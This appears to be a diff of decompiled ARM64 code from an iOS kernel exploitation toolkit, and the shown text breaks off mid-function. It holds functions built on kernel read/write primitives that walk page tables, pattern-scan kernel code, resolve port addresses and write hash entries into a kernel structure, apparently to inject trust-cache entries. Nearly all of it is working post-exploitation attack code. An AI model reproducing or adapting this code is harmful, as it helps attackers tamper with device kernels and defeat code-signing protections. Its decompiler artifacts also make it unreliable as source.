+//----- (00000000000213D4) ---------------------------------------------------- +__n128 __fastcall sub_213D4(__int64 a1, unsigned __int64 obj, __int64 a3, __int64 a4) +{ + __int64 v8; // x23 + unsigned __int64 v9; // x1 + unsigned __int64 v10; // x9 + __n128 result; // q0 + __int64 v12; // x24 + unsigned __int64 v13; // x25 + __int64 v14; // x23 + unsigned __int64 v15; // x26 + _BOOL4 v16; // w0 + unsigned __int64 v17; // x8 + __int64 v18; // x9 + unsigned __int64 v19; // x23 + int v20; // w10 + unsigned __int64 v21; // x11 + unsigned __int64 v22; // x11 + int v23; // w9 + unsigned __int64 v24; // x0 + unsigned __int64 v25; // x23 + int v26; // w8 + unsigned __int64 v27; // x1 + __int64 v28; // x9 + __int128 v29; // q1 + __int64 v30; // x23 + __int64 v31; // x24 + _BOOL4 has_flag; // w0 + int v33; // w8 + __int64 v34; // x8 + unsigned __int64 v35; // x25 + unsigned __int64 v36; // x11 + __int64 v37; // x8 + __int64 v38; // x8 + __int128 v39; // q1 + __int64 v40; // [xsp+0h] [xbp-50h] BYREF + unsigned __int64 v41; // [xsp+8h] [xbp-48h] BYREF + + if ( !a3 ) + return result; + v8 = 0LL; + *(_QWORD *)(a3 + 0x20) = 0LL; + *(_OWORD *)a3 = 0u; + *(_OWORD *)(a3 + 0x10) = 0u; + do + { + v9 = *(_QWORD *)(a1 + v8 + 0x5E8); + if ( !v9 ) + break; + v10 = *(_QWORD *)(a1 + v8 + 0x5F0); + if ( v10 <= obj && v10 + *(unsigned int *)(a1 + v8 + 0x5F8) > obj ) + { + if ( kreadbuf(a1, v9, 8uLL, (void *)(a1 + v8 + 0x608), a4) ) + { + result = *(__n128 *)(a1 + v8 + 0x5E8); + v29 = *(_OWORD *)(a1 + v8 + 0x5F8); + *(_QWORD *)(a3 + 0x20) = *(_QWORD *)(a1 + v8 + 0x608); + *(__n128 *)a3 = result; + *(_OWORD *)(a3 + 0x10) = v29; + return result; + } + break; + } + v8 += 0x28LL; + } + while ( v8 != 0x280 ); + if ( !*(_QWORD *)(a1 + 0x5D0) ) + { + v24 = sub_21388(a1); + if ( !v24 ) + return result; + v25 = v24; + if ( !kread64((_DWORD *)a1, v24, (__int64 *)&v41) || !kread64((_DWORD *)a1, v25 + *(int *)(a1 + 0x168), &v40) ) + return result; + if ( *(_DWORD *)(a1 + 0x180) == 0x1000 ) + v26 = 0x200; + else + v26 = 0x800; + v28 = v40; + v27 = v41; + *(_QWORD *)(a1 + 0x5D0) = v41; + *(_QWORD *)(a1 + 0x5D8) = v28; + *(_DWORD *)(a1 + 0x5E0) = v26; + sub_385F4(a1, v27); + } + if ( *(_DWORD *)(a1 + 0x180) == 0x1000 || krw_ctx_has_flag((_DWORD *)a1, 0x8000) ) + { + v12 = *(_QWORD *)(a1 + 0x5D0); + v13 = *(_QWORD *)(a1 + 0x5D8); + v14 = sub_38378(a1, v12, v13, v13); + v15 = (obj >> 0x1B) & 0x7F8; + v16 = kreadbuf(a1, v12 + v15, 8uLL, &v41, a4); + if ( !v16 ) + goto LABEL_58; + v17 = v41; + v18 = v41 & 3; + if ( (v41 & 3) == 0 ) + goto LABEL_57; + if ( v18 == 1 ) + { + v19 = v14 + v15; + v20 = 0x40000000; + v21 = 0xFFFFFFFFC0000000LL; +LABEL_14: + v22 = v21 & obj; + *(_QWORD *)a3 = v19; +LABEL_15: + *(_QWORD *)(a3 + 8) = v22; + *(_DWORD *)(a3 + 0x10) = v20; + *(_BYTE *)(a3 + 0x14) = v18; + *(_QWORD *)(a3 + 0x20) = v17; + if ( (v17 & 0x80) != 0 ) + v23 = 1; + else + v23 = 3; + *(_DWORD *)(a3 + 0x18) = ((v17 >> 0x33) & 4 | v23) ^ 4; + v16 = 1; + goto LABEL_58; + } + if ( (v41 & 0x800000000000000LL) != 0 ) + *(_DWORD *)(a3 + 0x14) |= 0x100u; + v19 = sub_38378(a1, v12, v13, v17 & 0xFFFFFFFFF000LL) + ((obj >> 0x12) & 0xFF8); + v16 = kreadbuf(a1, v19, 8uLL, &v41, a4); + if ( v16 ) + { + v17 = v41; + v18 = v41 & 3; + if ( (v41 & 3) == 0 ) + goto LABEL_57; + if ( v18 == 1 ) + { + v20 = 0x200000; + v21 = 0xFFFFFFFFFFE00000LL; + goto LABEL_14; + } + if ( (v41 & 0x800000000000000LL) != 0 ) + *(_DWORD *)(a3 + 0x14) |= 0x100u; + v19 = sub_38378(a1, v12, v13, v17 & 0xFFFFFFFFF000LL) + ((obj >> 9) & 0xFF8); + v16 = kreadbuf(a1, v19, 8uLL, &v41, a4); + if ( v16 ) + { + v17 = v41; + if ( (~(_BYTE)v41 & 3) == 0 ) + { + LOBYTE(v18) = 3; + v20 = 0x1000; + v21 = 0xFFFFFFFFFFFFF000LL; + goto LABEL_14; + } +LABEL_57: + v16 = 0; + } + } + } + else + { + if ( *(_DWORD *)(a1 + 0x180) != 0x4000 ) + return result; + v30 = *(_QWORD *)(a1 + 0x5D0); + v31 = *(_QWORD *)(a1 + 0x5D8); + has_flag = krw_ctx_has_flag((_DWORD *)a1, 0x5000008); + v33 = 0x7FF; + if ( !has_flag ) + v33 = 7; + v16 = kreadbuf(a1, v30 + 8 * (*(_QWORD *)&v33 & (obj >> 0x24)), 8uLL, &v41, a4); + if ( !v16 ) + goto LABEL_58; + v34 = v41; + if ( (~(_BYTE)v41 & 3) != 0 ) + goto LABEL_57; + if ( (v41 & 0x800000000000000LL) != 0 ) + *(_DWORD *)(a3 + 0x14) |= 0x100u; + v35 = sub_38378(a1, v30, v31, v34 & 0xFFFFFFFFC000LL) + ((obj >> 0x16) & 0x3FF8); + v16 = kreadbuf(a1, v35, 8uLL, &v41, a4); + if ( v16 ) + { + v17 = v41; + v18 = v41 & 3; + if ( (v41 & 3) == 0 ) + goto LABEL_57; + if ( v18 == 1 ) + { + v20 = 0x2000000; + v36 = 0xFFFFFFFFFE000000LL; + } + else + { + if ( (v41 & 0x800000000000000LL) != 0 ) + *(_DWORD *)(a3 + 0x14) |= 0x100u; + v35 = sub_38378(a1, v30, v31, v17 & 0xFFFFFFFFC000LL) + ((obj >> 0xB) & 0x3FF8); + v16 = kreadbuf(a1, v35, 8uLL, &v41, a4); + if ( !v16 ) + goto LABEL_58; + v17 = v41; + if ( (~(_BYTE)v41 & 3) != 0 ) + goto LABEL_57; + LOBYTE(v18) = 3; + v20 = 0x4000; + v36 = 0xFFFFFFFFFFFFC000LL; + } + v22 = v36 & obj; + *(_QWORD *)a3 = v35; + goto LABEL_15; + } + } +LABEL_58: + if ( v16 ) + { + v37 = 0LL; + while ( *(_QWORD *)(a1 + 0x5E8 + v37) ) + { + v37 += 0x28LL; + if ( v37 == 0x280 ) + return result; + } + v38 = a1 + v37 + 0x5E8; + result = *(__n128 *)a3; + v39 = *(_OWORD *)(a3 + 0x10); + *(_QWORD *)(v38 + 0x20) = *(_QWORD *)(a3 + 0x20); + *(__n128 *)v38 = result; + *(_OWORD *)(v38 + 0x10) = v39; + } + return result; +} + +//----- (000000000002183C) ---------------------------------------------------- +double __fastcall sub_2183C(__int64 a1, unsigned __int64 a2, __int64 a3) +{ + double result; // d0 + + *(_QWORD *)&result = sub_213D4(a1, a2, a3, 1LL).n128_u64[0]; + return result; +} + +//----- (0000000000021844) ---------------------------------------------------- +unsigned __int64 __fastcall get_kobject_maybe(__int64 a1, unsigned __int64 obj) +{ + int v4; // w0 + _OWORD v6[2]; // [xsp+0h] [xbp-40h] BYREF + __int64 v7; // [xsp+20h] [xbp-20h] + + v7 = 0LL; + memset(v6, 0, sizeof(v6)); + sub_213D4(a1, obj, (__int64)v6, 1LL); + if ( v4 ) + return *(_QWORD *)(a1 + 0x188) & obj | v7 & 0xFFFFFFFFC000LL; + else + return 0LL; +} +// 21878: variable 'v4' is possibly undefined + +//----- (00000000000218A8) ---------------------------------------------------- +__int64 __fastcall sub_218A8(__int64 a1, unsigned __int64 a2, __int64 a3) +{ + int v5; // w0 + _OWORD v7[2]; // [xsp+0h] [xbp-40h] BYREF + __int64 v8; // [xsp+20h] [xbp-20h] + + v8 = 0LL; + memset(v7, 0, sizeof(v7)); + sub_213D4(a1, a2, (__int64)v7, a3); + if ( v5 ) + return *(_QWORD *)(a1 + 0x188) & a2 | v8 & 0xFFFFFFFFC000LL; + else + return 0LL; +} +// 218DC: variable 'v5' is possibly undefined + +//----- (000000000002190C) ---------------------------------------------------- +__int64 __fastcall sub_2190C(int a1, _QWORD *a2) +{ + void *v3; // x0 + + if ( !a2 ) + return 0xAD001LL; + v3 = (void *)a2[3]; + if ( v3 ) + free(v3); + *(_OWORD *)a2 = 0u; + *((_OWORD *)a2 + 1) = 0u; + free(a2); + return 0LL; +} + +//----- (0000000000021960) ---------------------------------------------------- +__int64 __fastcall sub_21960(__int64 a1, vm_size_t **a2) +{ + __int64 v4; // x21 + vm_size_t *v5; // x0 + vm_size_t *v6; // x19 + vm_size_t v7; // x23 + __int64 v8; // x0 + __int64 v9; // x28 + __int64 v10; // x24 + unsigned __int64 v11; // x8 + _OWORD *v12; // x3 + __int64 v13; // x25 + char *v14; // x8 + unsigned int v15; // w8 + unsigned __int64 v16; // x24 + vm_size_t v17; // x8 + __int64 v18; // x24 + __int64 v19; // x1 + __int64 v20; // x0 + char *v21; // x1 + __int64 *v22; // x23 + unsigned __int64 v23; // x8 + unsigned __int64 v24; // x25 + __int64 *v25; // x8 + int v26; // w8 + __int64 *v27; // x0 + __int64 *v28; // x1 + unsigned __int64 v29; // x8 + __int64 v30; // x26 + _OWORD *v31; // x27 + unsigned int v32; // w9 + unsigned int v33; // w10 + int v34; // w9 + __int64 v35; // x25 + __int64 v36; // x27 + __int64 v37; // x8 + unsigned __int64 v38; // x23 + __int128 v39; // q1 + char *v40; // x1 + __int64 v42; // [xsp+0h] [xbp-F0h] + vm_size_t size; // [xsp+8h] [xbp-E8h] BYREF + __int64 v44[2]; // [xsp+10h] [xbp-E0h] BYREF + _OWORD v45[4]; // [xsp+20h] [xbp-D0h] BYREF + _OWORD v46[3]; // [xsp+60h] [xbp-90h] BYREF + + v4 = 0xAD009LL; + v5 = (vm_size_t *)calloc(0x20uLL, 1uLL); + if ( v5 ) + { + v6 = v5; + v7 = *(_QWORD *)(a1 + 0x208); + if ( v7 ) + goto LABEL_3; + v16 = *(_QWORD *)(a1 + 0x1998); + if ( v16 ) + { +LABEL_20: + v9 = 0x2800FLL; + LODWORD(v8) = kread64((_DWORD *)a1, v16, (__int64 *)&size); + if ( (_DWORD)v8 ) + { + v7 = v16; + if ( !size ) + goto LABEL_67; + v8 = validate_addr(a1, size); + if ( v8 ) + { + v17 = size; + v7 = v16; + if ( size ) + { + while ( 1 ) + { + v7 = v17; + if ( *(_QWORD *)(a1 + 0x158) <= 0x2257FFFFFFFFFFuLL ) + { + LODWORD(v8) = kreadbuf_last_1(a1, v17, 0x30LL, (__int64)v45); + if ( !(_DWORD)v8 ) + goto LABEL_43; + LODWORD(v8) = kreadbuf_last_1(a1, *((_QWORD *)&v45[0] + 1) + 4LL, 0x10LL, (__int64)v44); + if ( !(_DWORD)v8 ) + goto LABEL_43; + v17 = *(_QWORD *)&v45[0]; + } + else + { + LODWORD(v8) = kreadbuf_last_1(a1, v17, 0x28LL, (__int64)v46); + if ( !(_DWORD)v8 ) + goto LABEL_43; + LODWORD(v8) = kreadbuf_last_1(a1, *(_QWORD *)&v46[2] + 4LL, 0x10LL, (__int64)v44); + if ( !(_DWORD)v8 ) + goto LABEL_43; + v17 = *(_QWORD *)&v46[0]; + } + if ( !(v44[0] ^ 0x403020100LL | v44[1]) ) + break; + size = v17; + if ( !v17 ) + goto LABEL_67; + } + if ( size ) + { + v9 = 0LL; + v7 = size; + goto LABEL_109; + } + } +LABEL_67: + v29 = *(_QWORD *)(a1 + 0x158) >> 0x2B; + if ( v29 <= 0x44A ) + v30 = 0x30LL; + else + v30 = 0x40LL; + if ( v29 <= 0x44A ) + v31 = v46; + else + v31 = v45; + v32 = *(_DWORD *)(a1 + 0x180); + v33 = ((unsigned int)v30 | 0x5800) % v32; + v34 = v32 - v33; + if ( !v33 ) + v34 = 0; + LODWORD(size) = v34 + (v30 | 0x5800); + v8 = sub_37210(a1, (unsigned int *)&size); + if ( !v8 ) + { + v36 = 0xAD009LL; +LABEL_108: + v9 = v36; + goto LABEL_109; + } + v35 = v8; + v42 = (__int64)v31; + if ( *(_QWORD *)(a1 + 0x158) <= 0x2257FFFFFFFFFFuLL ) + { + v36 = 0x2800FLL; + if ( kread64((_DWORD *)a1, v16, v44) ) + { + v36 = 0LL; + *(_QWORD *)&v46[0] = v44[0]; + *((_QWORD *)&v46[0] + 1) = v35 + 0x18; + *(_QWORD *)&v46[1] = (unsigned int)size - 0x18LL; + HIDWORD(v46[2]) = 0; + DWORD2(v46[1]) = 1; + *(_OWORD *)((char *)&v46[1] + 0xC) = xmmword_43460; + } + } + else + { + v36 = 0x2800FLL; + if ( kread64((_DWORD *)a1, v16, v44) ) + { + v36 = 0LL; + *(_QWORD *)&v45[0] = v44[0]; + *(_OWORD *)((char *)v45 + 8) = xmmword_43450; + *((_QWORD *)&v45[1] + 1) = (unsigned int)size - 0x28LL; + *(_QWORD *)&v45[2] = v35 + 0x28; + DWORD2(v45[2]) = 1; + HIDWORD(v45[3]) = 0; + *(_OWORD *)((char *)&v45[2] + 0xC) = xmmword_43460; + } + } + if ( !(_DWORD)v36 ) + { + if ( (unsigned int)kwritebuf_last_1(a1, v35, v42, v30) ) + { + if ( krw_ctx_has_flag((_DWORD *)a1, 0x5184001) ) + { + sub_13D9C((_DWORD *)a1, v16, v35); + if ( (_DWORD)v8 ) + { +LABEL_86: + v36 = 0LL; + v7 = v35; + goto LABEL_108; + } + } + else + { + LODWORD(v8) = kwrite64(a1, v16, v35); + if ( (_DWORD)v8 ) + goto LABEL_86; + } + } + v36 = 0x28010LL; + } + LODWORD(v8) = sub_36E4C(a1, v35, (unsigned int)size); + goto LABEL_108; + } + v7 = 0LL; + v9 = 0x28011LL; + } + else + { +LABEL_43: + v7 = 0LL; + } +LABEL_109: + if ( (_DWORD)v9 ) + goto LABEL_117; + *(_QWORD *)(a1 + 0x208) = v7; +LABEL_3: + *v6 = v7; + v6[1] = 0x200000014LL; + v8 = (__int64)calloc(0x5800uLL, 1uLL); + v9 = 0xAD009LL; + if ( v8 ) + { + v10 = v8; + v6[3] = v8; + memset(v46, 0, sizeof(v46)); + memset(v45, 0, sizeof(v45)); + if ( v7 ) + { + v9 = 0x2800FLL; + v11 = *(_QWORD *)(a1 + 0x158) >> 0x2B; + if ( v11 <= 0x44A ) + v12 = v46; + else + v12 = v45; + if ( v11 <= 0x44A ) + v13 = 0x30LL; + else + v13 = 0x40LL; + LODWORD(v8) = kreadbuf_last_1(a1, v7, v13, (__int64)v12); + if ( (_DWORD)v8 ) + { + if ( *(_QWORD *)(a1 + 0x158) <= 0x2257FFFFFFFFFFuLL ) + v14 = (char *)&v46[2] + 0xC; + else + v14 = (char *)&v45[3] + 0xC; + v15 = *(_DWORD *)v14; + if ( v15 > 0x3FF ) + { + v9 = 0xAD00CLL; + } + else + { + *((_DWORD *)v6 + 4) = v15; + if ( !v15 || (LODWORD(v8) = kreadbuf_last_1(a1, v7 + v13, 0x16 * v15, v10), (_DWORD)v8) ) + { + v4 = 0LL; + *a2 = v6; + return v4; + } + } + } + } + else + { + v9 = 0xAD001LL; + } + } +LABEL_117: + sub_2190C(v8, v6); + return v9; + } + v8 = *(_QWORD *)(a1 + 0x19F8); + if ( !v8 ) + { +LABEL_116: + v9 = 0xAD011LL; + goto LABEL_117; + } + if ( *(_QWORD *)(a1 + 0x158) >> 0x2B < 0x44BuLL ) + { + sub_39B70(a1, v45); + if ( *(_QWORD *)(a1 + 0x158) <= 0x1F541DFFFFFFFFuLL ) + v21 = "0A 05 40 F9 2B 11 40 39"; + else + v21 = "0B 05 40 F9 6C 11 40 39"; + v46[0] = v45[0]; + *(_QWORD *)&v46[1] = *(_QWORD *)&v45[1]; + v8 = kernel_pattern_scan((__int64)v46, v21, 0); + if ( v8 ) + { + v22 = (__int64 *)v8; + v23 = *(_QWORD *)(a1 + 0x158); + if ( v23 < 0x1C1B0002E00000LL ) + { + v27 = *(__int64 **)(a1 + 0x19F8); + if ( v23 < 0x18091980200000LL ) + v28 = v22 + 0xFFFFFFFE; + else + v28 = (__int64 *)((char *)v22 + 0xFFFFFFE4); +LABEL_112: + v8 = sub_1E854(v27, v28); + goto LABEL_113; + } + v24 = v8 - 0x40; + if ( v8 - 4 >= (unsigned __int64)(v8 - 0x40) ) + { + do + { + LODWORD(v8) = sub_19ACC(*(__int64 **)(a1 + 0x19F8), (__int64 *)((char *)v22 + 0xFFFFFFFC)); + if ( (v8 & 0x9F000000) == 0x90000000 ) + { + LODWORD(v8) = sub_19ACC(*(__int64 **)(a1 + 0x19F8), v22); + if ( (v8 & 0xBFC00000) == 0xB9400000 ) + goto LABEL_111; + } + else if ( (_DWORD)v8 == 0xD503201F ) + { + LODWORD(v8) = sub_19ACC(*(__int64 **)(a1 + 0x19F8), v22); + if ( BYTE3(v8) == 0x58 ) + { +LABEL_111: + v27 = *(__int64 **)(a1 + 0x19F8); + v28 = (__int64 *)((char *)v22 + 0xFFFFFFFC); + goto LABEL_112; + } + } + v25 = v22 + 0xFFFFFFFF; + v22 = (__int64 *)((char *)v22 + 0xFFFFFFFC); + } + while ( (unsigned __int64)v25 >= v24 ); + } + } + } + else + { + sub_19D10(v8, v46); + if ( krw_ctx_has_flag((_DWORD *)a1, 0x20) ) + { + v18 = *(_QWORD *)(a1 + 0x1D38); + if ( v18 ) + { +LABEL_39: + sub_19D10(v18, v45); + v8 = kernel_pattern_scan( + (__int64)v45, + "1F 20 03 D5 .. .. .. .. .. .. .. .. .. .. .. .. 08 05 00 51 1F F9 03 71", + 0); + if ( v8 ) + { + v8 = sub_1EB2C(*(__int64 **)(a1 + 0x1D38), (__int64 *)(v8 - 4), 0); + if ( v8 ) + { + v8 = sub_19B94(*(_QWORD *)(a1 + 0x1D38), v8 + 0x20); + if ( v8 ) + { + v19 = v8; + v20 = *(_QWORD *)(a1 + 0x1D38); +LABEL_102: + v8 = sub_19B94(v20, v19); +LABEL_113: + v16 = v8; + if ( v8 ) + *(_QWORD *)(a1 + 0x1998) = v8; +LABEL_115: + if ( v16 ) + goto LABEL_20; + goto LABEL_116; + } + } + } + } + else + { + LODWORD(v8) = krw_ctx_has_flag((_DWORD *)a1, 0x20); + if ( (_DWORD)v8 ) + { + v37 = *(_QWORD *)(*(_QWORD *)(a1 + 0x118) + 0x148LL); + if ( v37 ) + { + LODWORD(v44[0]) = 0; + v38 = v37 & ~*(_QWORD *)(a1 + 0x188); + while ( 1 ) + { + v38 -= *(unsigned int *)(a1 + 0x180); + LODWORD(v8) = kread32_outptr(a1, v38, v44); + if ( !(_DWORD)v8 ) + break; + if ( LODWORD(v44[0]) == 0xFEEDFACF ) + { + if ( v38 ) + { + v8 = (__int64)calloc(0x128uLL, 1uLL); + if ( v8 ) + { + v18 = v8; + sub_19DD4(v8, a1); + v39 = *(_OWORD *)(a1 + 0x150); + *(_OWORD *)(v18 + 0x70) = *(_OWORD *)(a1 + 0x140); + *(_OWORD *)(v18 + 0x80) = v39; + *(_QWORD *)(v18 + 0x90) = *(_QWORD *)(a1 + 0x160); + *(_DWORD *)(v18 + 0x98) = *(_DWORD *)(a1 + 0x178); + *(_DWORD *)(v18 + 0x38) = *(_DWORD *)(a1 + 0x180); + LODWORD(v8) = sub_1A0D4(v18, 0, v38, 0); + if ( (_DWORD)v8 ) + { + *(_QWORD *)(a1 + 0x1D38) = v18; + goto LABEL_39; + } + } + } + break; + } + } + } + } + } + } + else + { + v26 = *(_DWORD *)(a1 + 0x140); + if ( v26 < 0x2712 ) + { + if ( v26 <= 0x225B ) + v40 = "3F 7D 01 A9 .. .. .. .. 5F 01 00 F9"; + else + v40 = "00 E4 00 .. 20 01 00 AD .. .. .. .. 5F 01 00 F9"; + v45[0] = v46[0]; + *(_QWORD *)&v45[1] = *(_QWORD *)&v46[1]; + v8 = kernel_pattern_scan((__int64)v45, v40, 0); + if ( v8 ) + { + v8 = sub_1E854(*(__int64 **)(a1 + 0x19F8), (__int64 *)(v8 - 0xC)); + if ( v8 ) + { + v19 = v8; + v20 = *(_QWORD *)(a1 + 0x19F8); + goto LABEL_102; + } + } + } + else + { + v45[0] = v46[0]; + *(_QWORD *)&v45[1] = *(_QWORD *)&v46[1]; + v8 = kernel_pattern_scan((__int64)v45, "E0 03 13 AA 01 00 80 52 02 05 80 52 .. .. .. .. E0 03", 0); + if ( v8 ) + { + v8 = sub_1E854(*(__int64 **)(a1 + 0x19F8), (__int64 *)(v8 - 0x14)); + if ( v8 ) + { + v19 = v8 + *(int *)(a1 + 0x168); + v20 = *(_QWORD *)(a1 + 0x19F8); + goto LABEL_102; + } + } + } + } + } + v16 = 0LL; + goto LABEL_115; + } + return v4; +} +// 21F64: variable 'v8' is possibly undefined +// 19B94: using guessed type __int64 __fastcall sub_19B94(_QWORD, _QWORD); +// 43450: using guessed type __int128 xmmword_43450; +// 43460: using guessed type __int128 xmmword_43460; + +//----- (0000000000022144) ---------------------------------------------------- +bool __fastcall sub_22144(int a1, __int64 a2, void *__s2, size_t __n) +{ + __int64 v4; // x21 + __int64 v5; // x8 + unsigned int v7; // w22 + size_t v8; // x20 + int v9; // w23 + __int64 v10; // x24 + int v11; // w8 + _BOOL8 result; // x0 + bool v13; // zf + + if ( !a2 ) + return 0LL; + v4 = *(_QWORD *)(a2 + 0x18); + if ( !v4 ) + return 0LL; + v5 = *(unsigned int *)(a2 + 0x10); + if ( !(_DWORD)v5 || *(_DWORD *)(a2 + 8) != (_DWORD)__n ) + return 0LL; + v7 = 0; + v8 = (unsigned int)__n; + v9 = *(_DWORD *)(a2 + 0xC) + __n; + v10 = v5 - 1; + do + { + v11 = memcmp((const void *)(v4 + v7), __s2, v8); + result = v11 == 0; + v7 += v9; + if ( v11 ) + v13 = v10 == 0; + else + v13 = 1; + --v10; + } + while ( !v13 ); + return result; +} + +//----- (00000000000221E0) ---------------------------------------------------- +size_t __fastcall sub_221E0(int a1, __int64 a2, void *a3, size_t __n) +{ + size_t v4; // x19 + __int64 v6; // x23 + unsigned int v7; // w22 + unsigned int v9; // w8 + void *v10; // x23 + int v11; // w9 + void *v12; // x21 + size_t v13; // x20 + int (__cdecl *v14)(const void *, const void *); // x0 + + v4 = 0xAD001LL; + if ( a2 ) + { + v6 = *(_QWORD *)(a2 + 0x18); + if ( v6 ) + { + v7 = __n; + if ( *(_DWORD *)(a2 + 8) == (_DWORD)__n ) + { + if ( sub_22144(a1, a2, a3, __n) ) + return 0LL; + v9 = *(_DWORD *)(a2 + 0x10); + if ( v9 > 0x3FF ) + return 0xAD00CLL; + v10 = (void *)(v6 + (*(_DWORD *)(a2 + 0xC) + v7) * v9); + memcpy(v10, a3, v7); + v11 = *(_DWORD *)(a2 + 0xC); + ++*(_DWORD *)(a2 + 0x10); + if ( v11 == 2 ) + { + *((_BYTE *)v10 + *(unsigned int *)(a2 + 8)) = 2; + *((_BYTE *)v10 + (unsigned int)(*(_DWORD *)(a2 + 8) + 1)) = 0; + } + v12 = *(void **)(a2 + 0x18); + if ( v12 ) + { + v4 = *(unsigned int *)(a2 + 0x10); + if ( (_DWORD)v4 ) + { + v13 = (unsigned int)(*(_DWORD *)(a2 + 0xC) + *(_DWORD *)(a2 + 8)); + v14 = (int (__cdecl *)(const void *, const void *))nullsub_1(sub_22470); + qsort(v12, v4, v13, v14); + return 0LL; + } + } + } + } + } + return v4; +} +// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); + +//----- (00000000000222F0) ---------------------------------------------------- +__int64 __fastcall sub_222F0(__int64 a1, __int64 a2) +{ + __int64 v2; // x19 + __int64 v4; // x2 + unsigned __int64 v6; // x22 + __int64 v7; // x9 + __int64 v8; // x8 + + v2 = 0xAD001LL; + if ( a2 ) + { + v4 = *(_QWORD *)(a2 + 0x18); + if ( v4 ) + { + if ( *(_QWORD *)a2 ) + { + v2 = 0x28010LL; + v6 = *(_QWORD *)(a1 + 0x158) >> 0x2B; + v7 = 0x30LL; + if ( v6 > 0x44A ) + v7 = 0x40LL; + if ( (unsigned int)kwritebuf_last_1( + a1, + v7 + *(_QWORD *)a2, + v4, + (unsigned int)((*(_DWORD *)(a2 + 0xC) + *(_DWORD *)(a2 + 8)) * *(_DWORD *)(a2 + 0x10))) ) + { + v8 = 0x2CLL; + if ( v6 > 0x44A ) + v8 = 0x3CLL; + if ( noppl_kwrite32(a1, *(_QWORD *)a2 + v8, *(_DWORD *)(a2 + 0x10)) ) + return 0LL; + else + return 0x28010LL; + } + } + } + } + return v2; +} + +//----- (00000000000223A4) ---------------------------------------------------- +bool __fastcall sub_223A4(__int64 a1, unsigned int a2, int a3, __int64 a4) +{ + int v7; // w22 + _QWORD *v8; // x21 + __int64 v9; // x24 + __int64 v10; // x23 + int v11; // w0 + int v13[2]; // [xsp+8h] [xbp-38h] BYREF + + *(_QWORD *)v13 = 0LL; + if ( a3 == 0x14 ) + { + v7 = sub_21960(a1, (vm_size_t **)v13); + if ( !v7 ) + { + v8 = *(_QWORD **)v13; + if ( a2 ) + { + v9 = 0LL; + v10 = 0x14LL * a2; + while ( 1 ) + { + v11 = sub_221E0(0, (__int64)v8, (void *)(a4 + ((unsigned int)v9 & 0xFFFFFFFC)), 0x14uLL); + if ( v11 ) + break; + v9 += 0x14LL; + if ( v10 == v9 ) + goto LABEL_7; + } + } + else + { +LABEL_7: + v11 = sub_222F0(a1, (__int64)v8); + } + v7 = v11; + sub_2190C(v11, v8); + } + } + else + { + v7 = 0xAD001; + } + return v7 == 0; +} + +//----- (0000000000022464) ---------------------------------------------------- +bool __fastcall sub_22464(__int64 a1, __int64 a2, int a3) +{ + return sub_223A4(a1, 1u, a3, a2); +} + +//----- (0000000000022470) ---------------------------------------------------- +__int64 __fastcall sub_22470(__int64 a1, __int64 a2) +{ + __int64 v2; // x8 + unsigned int v3; // w9 + unsigned int v4; // w10 + + v2 = 0LL; + while ( 1 ) + { + v3 = *(unsigned __int8 *)(a1 + v2); + v4 = *(unsigned __int8 *)(a2 + v2); + if ( v3 < v4 ) + return 0xFFFFFFFFLL; + if ( v3 > v4 ) + break; + if ( ++v2 == 0x14 ) + return 0LL; + } + return 1LL; +} + +//----- (00000000000224AC) ---------------------------------------------------- +__int64 __fastcall sub_224AC(__int64 a1, unsigned int a2) +{ + return sub_32D6C(*(_QWORD *)(a1 + 0x20), a2); +} + +//----- (00000000000224B4) ---------------------------------------------------- +unsigned __int64 __fastcall sub_224B4(__int64 a1, unsigned int a2) +{ + return port_name_to_kaddr(*(_QWORD *)(a1 + 0x20), a2); +} + +//----- (00000000000224BC) ---------------------------------------------------- +__int64 __fastcall sub_224BC(char **a1, unsigned int a2) +{ + io_registry_entry_t v4; // w0 + io_registry_entry_t v5; // w20 + const __CFString *v6; // x0 + const __CFString *v7; // x22 + CFTypeRef CFProperty; // x0 + const void *v9; // x23 + CFTypeID TypeID; // x24 + CFIndex Length; // x24 + const UInt8 *BytePtr; // x0 + _BYTE *v13; // x8 + int v14; // t1 + char *v15; // x0 + __int64 v16; // x19 + char __str[16]; // [xsp+10h] [xbp-350h] BYREF + __int128 v19; // [xsp+20h] [xbp-340h] + __int128 v20; // [xsp+30h] [xbp-330h] + __int128 v21; // [xsp+40h] [xbp-320h] + __int128 v22; // [xsp+50h] [xbp-310h] + __int128 v23; // [xsp+60h] [xbp-300h] + __int128 v24; // [xsp+70h] [xbp-2F0h] + __int128 v25; // [xsp+80h] [xbp-2E0h] + __int128 v26; // [xsp+90h] [xbp-2D0h] + __int128 v27; // [xsp+A0h] [xbp-2C0h] + __int128 v28; // [xsp+B0h] [xbp-2B0h] + __int128 v29; // [xsp+C0h] [xbp-2A0h] + __int128 v30; // [xsp+D0h] [xbp-290h] + __int128 v31; // [xsp+E0h] [xbp-280h] + __int128 v32; // [xsp+F0h] [xbp-270h] + __int128 v33; // [xsp+100h] [xbp-260h] + __int128 v34; // [xsp+110h] [xbp-250h] + __int128 v35; // [xsp+120h] [xbp-240h] + __int128 v36; // [xsp+130h] [xbp-230h] + __int128 v37; // [xsp+140h] [xbp-220h] + __int128 v38; // [xsp+150h] [xbp-210h] + __int128 v39; // [xsp+160h] [xbp-200h] + __int128 v40; // [xsp+170h] [xbp-1F0h] + __int128 v41; // [xsp+180h] [xbp-1E0h] + __int128 v42; // [xsp+190h] [xbp-1D0h] + __int128 v43; // [xsp+1A0h] [xbp-1C0h] + __int128 v44; // [xsp+1B0h] [xbp-1B0h] + __int128 v45; // [xsp+1C0h] [xbp-1A0h] + __int128 v46; // [xsp+1D0h] [xbp-190h] + __int128 v47; // [xsp+1E0h] [xbp-180h] + __int128 v48; // [xsp+1F0h] [xbp-170h] + __int128 v49; // [xsp+200h] [xbp-160h] + _OWORD v50[16]; // [xsp+210h] [xbp-150h] BYREF + + memset(v50, 0, sizeof(v50)); + v48 = 0u; + v49 = 0u; + v46 = 0u; + v47 = 0u; + v44 = 0u; + v45 = 0u; + v42 = 0u; + v43 = 0u; + v40 = 0u; + v41 = 0u; + v38 = 0u; + v39 = 0u; + v36 = 0u; + v37 = 0u; + v34 = 0u; + v35 = 0u; + v32 = 0u; + v33 = 0u; + v30 = 0u; + v31 = 0u; + v28 = 0u; + v29 = 0u; + v26 = 0u; + v27 = 0u; + v24 = 0u; + v25 = 0u; + v22 = 0u; + v23 = 0u; + v20 = 0u; + v21 = 0u; + *(_OWORD *)__str = 0u; + v19 = 0u; + v4 = IORegistryEntryFromPath(kIOMasterPortDefault, "IODeviceTree:/chosen"); + if ( !v4 